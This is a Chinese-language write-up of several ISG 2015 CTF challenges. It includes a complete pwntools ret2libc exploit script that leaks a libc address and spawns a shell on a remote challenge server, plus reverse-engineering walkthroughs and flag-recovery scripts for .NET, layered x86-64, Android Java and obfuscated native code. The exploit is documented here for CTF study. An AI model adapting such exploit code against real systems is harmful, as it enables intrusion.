此题类似去年的pwnme300,不过换成了32位,并给了libc。这里的问题就是linux下32位程序特有的函数prologue
push ebp
mov ebp, esp
and esp, 0FFFFFFF0h
这样不确定服务器上的main_ret
到底有多远。不过这个不是问题,可以试出来。直接上代码:
from pwn import *
import struct
#p = process('/ctf/isg2015/pwnme')
p = remote('202.120.7.145', 9991)
lib_system = 0x40190
lib_write = 0xdac50
lib_read = 0xdabd0
write_plt = 0x8048370
read_plt = 0x8048330
write_plt_got = 0x804A01C
#write_plt_got = 0x804a038
main = 0x804847D
segdata = 0x0804A020
print p.readline(), p.readline()
payload = 'A'*20 + p32(write_plt) + p32(main) + p32(1) + p32(write_plt_got) + p32(4)
p.send(payload)
#write, = struct.unpack('I', p.read(4))
write, = struct.unpack('<I', p.recv(4))
print hex(write)
print p.readline(), p.readline()
payload = 'A'*12 + p32(read_plt) + p32(main) + p32(0) + p32(segdata) + p32(8)
p.send(payload)
#sleep(1)
p.send('/bin/sh\x00')
'''
print p.readline(), p.readline()
payload = 'A'*20 + p32(write_plt) + p32(main) + p32(1) + p32(segdata) + p32(8)
p.send(payload)
print p.recv(8)
'''
print p.readline(), p.readline()
payload = 'A'*20 + p32(write+lib_system-lib_write) + 'J'*4 + p32(segdata)
p.send(payload)
#p.send('ls\n')
#print p.recv(1024)
p.interactive()
此题是个zip文件,解压缩后是一个.net的可执行程序。扔ILSpy里面看程序很简单:
private static byte[] target = new byte[]
{
108,
203,
97,
69,
90,
216,
146,
25,
144,
43,
58,
246,
10,
154,
45,
28
};
public static void CheckFile(FileInfo file)
{
try
{
Console.WriteLine("Analyzing " + file.FullName + " ...");
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
if (mD5CryptoServiceProvider.ComputeHash(file.OpenRead()).SequenceEqual(Module1.target))
{
SHA256CryptoServiceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider();
Console.WriteLine("We've found the flag on your hard drive:");
Console.WriteLine("ISG{" + BitConverter.ToString(sHA256CryptoServiceProvider.ComputeHash(file.OpenRead())).ToLower() + "}");
Environment.Exit(0);
}
Thread.Sleep(100);
}
catch (Exception expr_81)
{
ProjectData.SetProjectError(expr_81);
Console.WriteLine("Unable to read: " + file.FullName);
ProjectData.ClearProjectError();
}
}
google搜索target对应的md5,得到
下面就是坑了,BitConverter的输出格式每一个字符的hex之间会有一个’-‘。
此题很有意思,考编程能力。64位的可执行文件近10M,IDA肯定是无法弄了。直接对.text
进行反编译,程序的逻辑非常清晰:
a7: 48 8b 04 24 mov rax,QWORD PTR [rsp]
ab: 48 bb c6 04 24 4c c6 movabs rbx,0x12444c64c2404c6
b2: 44 24 01
b5: 48 31 d8 xor rax,rbx
b8: 0f 85 a8 23 c9 00 jne 0xc92466
be: 48 8b 44 24 08 mov rax,QWORD PTR [rsp+0x8]
c3: 48 bb 76 c6 44 24 02 movabs rbx,0x44c62e022444c676
ca: 2e c6 44
cd: 48 31 d8 xor rax,rbx
d0: 0f 85 90 23 c9 00 jne 0xc92466
d6: 48 8b 44 24 10 mov rax,QWORD PTR [rsp+0x10]
db: 48 bb 24 03 32 c6 44 movabs rbx,0x20042444c6320324
......
......
c92430: 48 bb 44 24 10 0a c6 movabs rbx,0x112444c60a102444
c92437: 44 24 11
c9243a: 48 31 d8 xor rax,rbx
c9243d: 75 27 jne 0xc92466
c9243f: 48 8b 84 24 d8 98 3b mov rax,QWORD PTR [rsp+0x3b98d8]
c92446: 00
c92447: 48 bb 00 48 c7 c0 11 movabs rbx,0x11c0c74800
c9244e: 00 00 00
c92451: 48 31 d8 xor rax,rbx
c92454: 75 10 jne 0xc92466
c92456: 48 31 c0 xor rax,rax
c92459: 8a 84 24 e4 98 3b 00 mov al,BYTE PTR [rsp+0x3b98e4] //这里是个大坑,不过不考虑执行的话,只静态分析,丢掉这个直接没关系。因为最后出flag的那一层,显示flag的那个部分都出来了。
c92460: 34 ff xor al,0xff
c92462: 75 02 jne 0xc92466
c92464: ff e4 jmp rsp
执行到最后一层后:
aa: 66 8b 04 24 mov ax,WORD PTR [rsp]
ae: 66 35 49 53 xor ax,0x5349
b2: 0f 85 a0 01 00 00 jne 0x258
b8: 66 8b 44 24 02 mov ax,WORD PTR [rsp+0x2]
bd: 66 3d 47 7b cmp ax,0x7b47
c1: 0f 85 91 01 00 00 jne 0x258
c7: 66 8b 44 24 04 mov ax,WORD PTR [rsp+0x4]
cc: 66 35 47 31 xor ax,0x3147
d0: 0f 85 82 01 00 00 jne 0x258
d6: 66 8b 44 24 06 mov ax,WORD PTR [rsp+0x6]
db: 66 35 76 33 xor ax,0x3376
df: 0f 85 73 01 00 00 jne 0x258
e5: 66 8b 44 24 08 mov ax,WORD PTR [rsp+0x8]
ea: 66 35 5f 79 xor ax,0x795f
ee: 0f 85 64 01 00 00 jne 0x258
f4: 66 8b 44 24 0a mov ax,WORD PTR [rsp+0xa]
f9: 66 2d 30 55 sub ax,0x5530
fd: 0f 85 55 01 00 00 jne 0x258
103: 66 8b 44 24 0c mov ax,WORD PTR [rsp+0xc]
108: 66 35 5f 4d xor ax,0x4d5f
10c: 0f 85 46 01 00 00 jne 0x258
112: 66 8b 44 24 0e mov ax,WORD PTR [rsp+0xe]
117: 66 35 59 5f xor ax,0x5f59
11b: 0f 85 37 01 00 00 jne 0x258
121: 66 8b 44 24 10 mov ax,WORD PTR [rsp+0x10]
126: 66 35 4f 6e xor ax,0x6e4f
12a: 0f 85 28 01 00 00 jne 0x258
130: 66 8b 44 24 12 mov ax,WORD PTR [rsp+0x12]
135: 66 3d 31 30 cmp ax,0x3031
139: 0f 85 19 01 00 00 jne 0x258
13f: 66 8b 44 24 14 mov ax,WORD PTR [rsp+0x14]
144: 66 3d 6e 5f cmp ax,0x5f6e
148: 0f 85 0a 01 00 00 jne 0x258
14e: 66 8b 44 24 16 mov ax,WORD PTR [rsp+0x16]
153: 66 35 68 33 xor ax,0x3368
157: 0f 85 fb 00 00 00 jne 0x258
15d: 66 8b 44 24 18 mov ax,WORD PTR [rsp+0x18]
162: 66 3d 34 72 cmp ax,0x7234
166: 0f 85 ec 00 00 00 jne 0x258
16c: 66 8b 44 24 1a mov ax,WORD PTR [rsp+0x1a]
171: 66 2d 37 7d sub ax,0x7d37
175: 0f 85 dd 00 00 00 jne 0x258
显示flag还用到了cmp、sub、xor
等方式,又是坑。上代码更能说明问题
from pwn import *
#lv.1
f = open('/ctf/isg2015/onion', 'rb')
o = open('/ctf/isg2015/onion.disasm', 'w')
a = f.read()
a = a[0xb0:0xc930b0] #.text段在文件中的偏移和大小,可以用readelf获得
o.write(disasm(a, arch='amd64'))
#print disasm(a, arch='amd64')
o.close()
f.close()
#lv.2
f = open('/ctf/isg2015/onion.disasm', 'r')
o = open('/ctf/isg2015/onion.2', 'w')
shellcode = ''
lines = f.readlines()
for l in lines:
if l.find('movabs') > 0:
tmp = l.split(',')
strq = tmp[len(tmp)-1].strip()
q = int(strq, 16)
shellcode += p64(q)
o.write(disasm(shellcode, arch='amd64'))
o.close()
f.close()
#lv.....
name = 'onion.'
for i in range(3, 10): #这里的范围根据题目的提示第九层,没想到一下子就对了
fname = name + ('%d' % (i-1))
oname = name + ('%d' % i)
#print fname, oname
f = open(fname, 'r')
o = open(oname, 'w')
shellcode = ''
lines = f.readlines()
for l in lines:
if l.find('movabs') > 0:
tmp = l.split(',')
strq = tmp[len(tmp)-1].strip()
q = int(strq, 16)
shellcode += p64(q)
o.write(disasm(shellcode, arch='amd64'))
o.close()
f.close()
#flag
f = open('/ctf/isg2015/onion.9', 'r') #因为前面会丢掉那个坑人的最后一个字节,所以这里的code不是完整的
flag = ''
lines = f.readlines()
for l in lines:
if l.find('xor ax') > 0 or l.find('sub ax') > 0 or l.find('cmp ax') > 0:
tmp = l.split(',')
strw = tmp[len(tmp)-1].strip()
w = int(strw, 16)
flag += p16(w)
print flag
f.close()
此题做了名称的混淆,坑点在于有两层界面,实际的在第一层,就是基类的基类里面。虽然用三种不同的方法将flag进行加密,并且连接。但最终是取最前面的部分进行比较,第一层加密比较简单,解出来就是完整的flag了。
public class cc {
public static String encrypt(String s) {
String flag = "";
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
if (c >= 'a' && c <= 'm') {
c = (char) (c + 13);
} else if (c >= 'A' && c <= 'M') {
c = (char) (c + 13);
} else if (c >= 'n' && c <= 'z') {
c = (char) (c - 13);
} else if (c >= 'N' && c <= 'Z') {
c = (char) (c - 13);
} else if (c < '0' || c > '9') {
c = (char) (c ^ 6);
} else {
c = (char) (c ^ 7);
}
flag = new StringBuilder(String.valueOf(flag)).append(c).toString();
}
return flag;
}
}
public class uc {
public static String nj = "VFT}E7gy4yfE7tuG6{";
public static boolean bh(String x1, String x2, String x3) {
String x4 = new StringBuilder(String.valueOf(x1)).append(x2).append(x3).toString();
int n = nj.length();
if (n > x4.length()) {
n = x4.length();
}
if (x4.substring(0, n).equals(nj)) {
return true;
}
return false;
}
}
还原代码
a = 'VFT}E7gy4yfE7tuG6{'
b = []
for c in a:
if ord(c) >= ord('A') and ord(c) <= ord('Z'):
b.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
elif ord(c) >= ord('a') and ord(c) <= ord('z'):
b.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
elif ord(c) >= 0x30 and ord(c) <= 0x37 or ord(c) == 0x3e or ord(c) == 0x3f:
b.append(chr(ord(c) ^ 7))
else:
b.append(chr(ord(c) ^ 6))
print ''.join(b)
这题是调用native函数获得flag。apktool翻遍以后得到so。看so的函数,找到en
的内部调用函数。函数使用了逻辑混淆,这种混淆曾经在阿里的apk加密里面看到过。有高人说是“控制流平坦化的混淆”的混淆,说google能找到一些资料。
代码混淆的技术和还原没有学习过,看来以后要深入学习一下。不过这个题目混淆后还是能看的,多花点时间罢了。
这种混淆,真正的代码逻辑隐藏在==
的地方,所以只要根据不断变化的大数,找到相等的分支逻辑,就可以拼凑代码片段。
最终拼凑出来的大概是这个样子,只能看个大概了,下面就是猜了。混淆要手动拼凑分值还是太难了。
en(char* flag, char* flag)
{
v30 = flag;
v28 = len(flag);
_LR = 0;
while ( _LR < (signed int)v28 )
{
v14 = 0;
if ( _LR > 2 )
v14 = 1;
v31 = v14;
if(v31)
{
if ( (unsigned int)v30[_LR] > 0x40 )
{
if ( (unsigned int)v30[_LR] < 0x5B )
{
LOBYTE(v2) = 48;
*(_WORD *)v29 = 48;
?? return
}
}
}
_R5 = -2;
_R5 = _R5 or (not _LR) //__asm { ORN.W R5, R5, LR }
_ZF = _R5 == -1;
v12 = 0;
if ( _ZF )
v12 = 1;
v32 = v12;
if(v32)
{
v2 = v5;
v13 = (v30[_LR] & 0x26 | ~v30[_LR] & 0xD9) ^ 0xDE;
v34[_LR] = v13;
v5 = v2;
}
else
{
v2 = v5;
v13 = (unsigned __int8)(v30[_LR] & 0xF6) | ~v30[_LR] & 9;
v34[_LR] = v13;
v5 = v2;
}
++_LR;
}
v34[v28] = 0;
v2 = 1977030948;
v26 = 0;
v27 = 0;
v20 = 0;
if ( v26 < 24 )
v20 = 1;
v33 = v20;
if ( v33 )
{
v2 = 1977030948;
if ( (unsigned __int8)v34[v26] != (unsigned __int8)aNzRol68hviis8q[v26] )
{
v27 = 48;
*(_BYTE *)v29 = v27;
*(_BYTE *)(v29 + 1) = 0;
return;
}
}
}
这个代码是根据IDA的F5拼凑的,关键地方很容易看出来,两个加密的语句根据一个条件来选择。所以直接暴力了
#include <stdio.h>
int main()
{
char a[] = "NZ@rol68hViIs8qlX~7{6m&t";
bool b;
char v13;
for(int i=0; i<24; i++)
{
b = ((-2 | (~i)) == -1) ? true : false;
for(char c=0x20; c<0x7f; c++)
{
if(b)
v13 = (c & 0x26 | ~c & 0xD9) ^ 0xDE;
else
v13 = (c & 0xF6) | ~c & 9;
if(v13 == a[i])
printf("%c", c);
}
}
return 0;
}